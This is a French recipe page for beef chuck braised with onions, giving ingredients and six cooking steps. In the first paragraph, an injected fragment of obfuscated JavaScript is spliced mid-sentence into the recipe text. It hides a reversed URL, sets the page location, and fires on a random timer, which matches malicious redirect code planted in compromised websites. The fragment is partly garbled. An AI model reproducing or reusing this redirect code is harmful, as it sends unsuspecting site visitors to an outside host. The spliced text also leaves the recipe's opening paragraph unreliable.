Bœuf aux oignons
2017-12-26Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide, sur feu moyen, faites fondre les oignons sans coloration, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant. Réservez.
Ingrédients
- Pour 4 personnes
- 1 paleron de bœuf de 1,4 kg, ficelé en rôti
- 6 oignons
- 50 cl de bouillon de bœuf
- où
- 2 cubes de bœuf dissous dans 50 cl d'eau chaude et 2 cuillères à soupe d'huile d'arachide où de colza
Préparation de la recette
Etape 1
Pelez, émincez les oignons. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide, sur feu moyen, faites fondre les oignons sans coloration, tout en remuant. Réservez.
Etape 2
Dans une cocotte avec 2 cuillères à soupe d'huile d'arachide, faites revenir le paleron, sur feu vif, jusqu'à ce qu'il soit doré.
Etape 3
Salez, poivrez. Mouillez avec le bouillon de bœuf. Faites cuire pendant 1h15 à couvert.
Etape 4
Incorporez les oignons et prolongez la cuisson de 1h30 minutes
Etape 5
Vérifiez la cuisson. Sortez le paleron de la cocotte.
Etape 6
Découpez la viande en tranches et servez avec les oignons et autres légumes de votre choix.
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